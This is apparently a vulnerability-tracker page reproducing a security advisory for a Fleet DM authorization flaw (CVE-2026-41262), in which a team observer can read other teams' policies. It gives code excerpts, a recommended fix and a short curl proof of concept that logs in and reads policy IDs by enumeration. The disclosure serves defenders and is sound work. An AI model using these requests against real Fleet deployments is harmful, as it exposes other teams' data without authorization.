Kestrel
대시보드로 돌아가기
CVE-2026-41262MEDIUM· 4.3GHSA대응게시일: 2026. 06. 26.수정일: 2026. 06. 26.

Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
4.3medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향낮음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.14.3MODERATE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

상세 설명

Summary

The global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) performs authorization against an empty fleet.Policy{} struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet's team isolation model.

Details

The vulnerability is in GetPolicyByIDQueries at server/service/global_policies.go:163-180:

text
1func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
2 // Auth check uses empty Policy{} — TeamID is nil
3 if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
4 return nil, err
5 }
6
7 // Fetches ANY policy by ID, regardless of team ownership
8 policy, err := svc.ds.Policy(ctx, policyID)
9 if err != nil {
10 return nil, err
11 }
12 // ... populates install_software and run_script, returns full policy
13 return policy, nil
14}

The authorization passes because the OPA rule at server/authz/policy.rego:724-728 allows reading policies with null team_id for any user who holds a role on any team:

text
1allow {
2 is_null(object.team_id)
3 object.type == "policy"
4 team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_]
5 action == read
6}

Since the auth object has nil TeamID, this rule fires for any team member. After authorization, ds.Policy() calls policyDB() at server/datastore/mysql/policies.go:283-288 with a nil teamID:

sql
1func policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) {
2 teamWhere := "TRUE" // nil teamID → no team filter
3 args := []interface{}{id}
4 if teamID != nil {
5 teamWhere = "team_id = ?"
6 args = append(args, *teamID)
7 }
8 // ... executes SELECT with WHERE p.id = ? AND {teamWhere}

This returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification.

By contrast, the properly-secured endpoints verify team scope:

  • GetTeamPolicyByIDQueries (team_policies.go:421-428) sets TeamID: ptr.Uint(teamID) on the auth object and calls ds.TeamPolicy() which filters by team
  • DeleteGlobalPolicies (global_policies.go:255-263) explicitly checks policy.PolicyData.TeamID != nil after fetching

PoC

Prerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view.

bash
1# Step 1: Authenticate as User A (Team 1 observer only)
2TOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \
3 -H 'Content-Type: application/json' \
4 -d '{"email":"team1observer@example.com","password":"password"}' | jq -r '.token')
5
6# Step 2: Enumerate policy IDs (they are sequential integers)
7# Attempt to read a policy belonging to Team 2 (e.g., policy ID 5)
8curl -s -H "Authorization: Bearer $TOKEN" \
9 https://fleet.example.com/api/latest/fleet/policies/5
10
11# Expected: 403 Forbidden (user has no access to Team 2)
12# Actual: 200 OK with full policy data:
13# {
14# "policy": {
15# "id": 5,
16# "name": "Team 2 Sensitive Policy",
17# "query": "SELECT * FROM sensitive_table WHERE ...",
18# "team_id": 2,
19# "passing_host_count": 42,
20# "failing_host_count": 7,
21# "description": "...",
22# "resolution": "...",
23# ...
24# }
25# }

Impact

An authenticated user with observer-level access on any single team can:

  • Read SQL queries from all team policies across the Fleet instance, potentially revealing security monitoring strategies, compliance checks, and internal infrastructure details
  • View host pass/fail counts for other teams' policies, leaking compliance posture data across team boundaries
  • Access software installer and script metadata associated with other teams' policies via the populatePolicyInstallSoftware and populatePolicyRunScript calls
  • Enumerate all policies by iterating sequential integer IDs

This breaks Fleet's team isolation model, which is designed to restrict visibility between teams. Organizations using teams to separate departments, clients, or security zones would have their policy data exposed across boundaries.

Recommended Fix

Add a post-fetch check in GetPolicyByIDQueries to verify the returned policy is actually a global policy (nil TeamID), consistent with how DeleteGlobalPolicies operates:

text
1func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
2 if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
3 return nil, err
4 }
5
6 policy, err := svc.ds.Policy(ctx, policyID)
7 if err != nil {
8 return nil, err
9 }
10
11 // Verify this is actually a global policy — team policies must be
12 // accessed via the team-scoped endpoint which enforces team authorization
13 if policy.TeamID != nil {
14 return nil, authz.ForbiddenWithInternal(
15 "attempting to read team policy via global endpoint",
16 authz.UserFromContext(ctx),
17 policy,
18 fleet.ActionRead,
19 )
20 }
21
22 if err := svc.populatePolicyInstallSoftware(ctx, policy); err != nil {
23 return nil, ctxerr.Wrap(ctx, err, "populate install_software")
24 }
25 if err := svc.populatePolicyRunScript(ctx, policy); err != nil {
26 return nil, ctxerr.Wrap(ctx, err, "populate run_script")
27 }
28
29 return policy, nil
30}

Alternatively, re-authorize against the actual fetched policy object so OPA rules properly evaluate team membership, similar to how other Fleet endpoints handle object-level authorization.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.